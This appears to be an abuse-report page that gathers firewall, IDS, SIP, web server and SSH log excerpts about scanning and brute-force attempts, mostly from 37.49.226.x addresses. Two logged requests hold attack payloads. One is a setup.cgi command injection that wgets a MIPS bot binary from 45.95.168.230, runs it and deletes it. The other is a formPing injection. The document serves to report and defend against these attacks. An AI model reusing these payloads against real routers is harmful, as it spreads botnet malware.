Jun  9 09:46:03 debian-2gb-nbg1-2 kernel: \[13947499.853851\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=246 ID=2129 PROTO=TCP SPT=42645 DPT=50802 WINDOW=1024 RES=0x00 SYN URGP=0

firewall-block, port(s): 8443/tcp

 TCP (SYN) 37.49.226.3:40193 -> port 5038, len 44

firewall-block, port(s): 5038/tcp

trying to access non-authorized port

Port scanning [6 denied]

ET CINS Active Threat Intelligence Poor Reputation IP group 19 - port: 50802 proto: TCP cat: Misc Attack

 TCP (SYN) 37.49.226.3:42763 -> port 50802, len 44

05/13/2020-19:45:32.035640 37.49.226.3 Protocol: 6 ET SCAN NMAP -sS window 1024

firewall-block, port(s): 8443/tcp, 50802/tcp

ET DROP Dshield Block Listed Source group 1 - port: 50802 proto: TCP cat: Misc Attack

Apr 25 14:57:11 debian-2gb-nbg1-2 kernel: \[10078370.965727\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=49932 PROTO=TCP SPT=51337 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

trying to access non-authorized port

MultiHost/MultiPort Probe, Scan, Hack -

scans 4 times in preceeding hours on the ports (in chronological order) 50802 50802 50802 5038

Port 5038 scan denied

Port Scanning Detected

Apr 11 08:51:31 debian-2gb-nbg1-2 kernel: \[8846895.854892\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=29422 PROTO=TCP SPT=51324 DPT=50802 WINDOW=1024 RES=0x00 SYN URGP=0

8443/tcp 5038/tcp 50802/tcp...
[2020-02-12/04-10]130pkt,5pt.(tcp)

04/10/2020-14:23:44.588298 37.49.226.3 Protocol: 6 ET SCAN NMAP -sS window 1024

Apr  3 09:15:48 debian-2gb-nbg1-2 kernel: \[8157188.430995\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=49454 PROTO=TCP SPT=56698 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

ICMP MH Probe, Scan /Distributed -

Mar 30 12:21:38 debian-2gb-nbg1-2 kernel: \[7822755.750255\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=2248 PROTO=TCP SPT=57702 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Mar 28 19:48:13 debian-2gb-nbg1-2 kernel: \[7680358.769718\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=51032 PROTO=TCP SPT=52506 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Mar 28 11:54:13 debian-2gb-nbg1-2 kernel: \[7651920.212797\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=52919 PROTO=TCP SPT=52790 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Unauthorised access (Feb 17) SRC=37.49.226.3 LEN=40 TTL=57 ID=62278 TCP DPT=8080 WINDOW=46915 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=8273 TCP DPT=8080 WINDOW=46915 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=34435 TCP DPT=8080 WINDOW=8434 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=46849 TCP DPT=8080 WINDOW=8434 SYN

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Oct 12 10:33:44 nextcloud sshd\[29551\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.131.19.1  user=root
Oct 12 10:33:46 nextcloud sshd\[29551\]: Failed password for root from 185.131.19.1 port 43216 ssh2
Oct 12 10:46:22 nextcloud sshd\[13054\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.131.19.1  user=root

Oct 12 10:27:48 haigwepa sshd[4631]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.117.177.82 
Oct 12 10:27:50 haigwepa sshd[4631]: Failed password for invalid user ahmed from 138.117.177.82 port 54331 ssh2
...

2020-10-12T01:45:33.656187linuxbox-skyline auth[41790]: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=dreamweaver rhost=141.98.10.143
...

repeated SSH login attempts

" "

Fail2Ban Ban Triggered (2)

Oct 12 17:05:59 NG-HHDC-SVS-001 sshd[10299]: Invalid user anti from 84.2.226.70
...

2020-10-12T09:16:53.785294abusebot-4.cloudsearch.cf sshd[12203]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.184  user=root
2020-10-12T09:16:55.782514abusebot-4.cloudsearch.cf sshd[12203]: Failed password for root from 218.92.0.184 port 53771 ssh2
2020-10-12T09:16:58.698535abusebot-4.cloudsearch.cf sshd[12203]: Failed password for root from 218.92.0.184 port 53771 ssh2
2020-10-12T09:16:53.785294abusebot-4.cloudsearch.cf sshd[12203]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.184  user=root
2020-10-12T09:16:55.782514abusebot-4.cloudsearch.cf sshd[12203]: Failed password for root from 218.92.0.184 port 53771 ssh2
2020-10-12T09:16:58.698535abusebot-4.cloudsearch.cf sshd[12203]: Failed password for root from 218.92.0.184 port 53771 ssh2
2020-10-12T09:16:53.785294abusebot-4.cloudsearch.cf sshd[12203]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rho
...

Oct 12 11:31:51 srv-ubuntu-dev3 sshd[70845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.133  user=root
Oct 12 11:31:54 srv-ubuntu-dev3 sshd[70845]: Failed password for root from 218.92.0.133 port 51495 ssh2
Oct 12 11:31:57 srv-ubuntu-dev3 sshd[70845]: Failed password for root from 218.92.0.133 port 51495 ssh2
Oct 12 11:31:51 srv-ubuntu-dev3 sshd[70845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.133  user=root
Oct 12 11:31:54 srv-ubuntu-dev3 sshd[70845]: Failed password for root from 218.92.0.133 port 51495 ssh2
Oct 12 11:31:57 srv-ubuntu-dev3 sshd[70845]: Failed password for root from 218.92.0.133 port 51495 ssh2
Oct 12 11:31:51 srv-ubuntu-dev3 sshd[70845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.133  user=root
Oct 12 11:31:54 srv-ubuntu-dev3 sshd[70845]: Failed password for root from 218.92.0.133 port 51495 ssh2
Oct 12 11
...

Automatic report

Oct 12 07:53:36 host1 sshd[1997317]: Invalid user carlos from 106.13.227.104 port 37008
Oct 12 07:53:38 host1 sshd[1997317]: Failed password for invalid user carlos from 106.13.227.104 port 37008 ssh2
Oct 12 07:53:36 host1 sshd[1997317]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.227.104 
Oct 12 07:53:36 host1 sshd[1997317]: Invalid user carlos from 106.13.227.104 port 37008
Oct 12 07:53:38 host1 sshd[1997317]: Failed password for invalid user carlos from 106.13.227.104 port 37008 ssh2
...

$f2bV_matches

ang 104.41.32.232 [12/Oct/2020:03:43:16 "-" "POST /xmlrpc.php 200 712
104.41.32.232 [12/Oct/2020:03:43:24 "-" "POST /xmlrpc.php 200 712
104.41.32.232 [12/Oct/2020:03:43:32 "-" "POST /xmlrpc.php 403 402

Attempted Brute Force (dovecot)

Oct 12 02:49:43 ws19vmsma01 sshd[69454]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=200.116.175.40
Oct 12 02:49:45 ws19vmsma01 sshd[69454]: Failed password for invalid user xtest from 200.116.175.40 port 48420 ssh2
...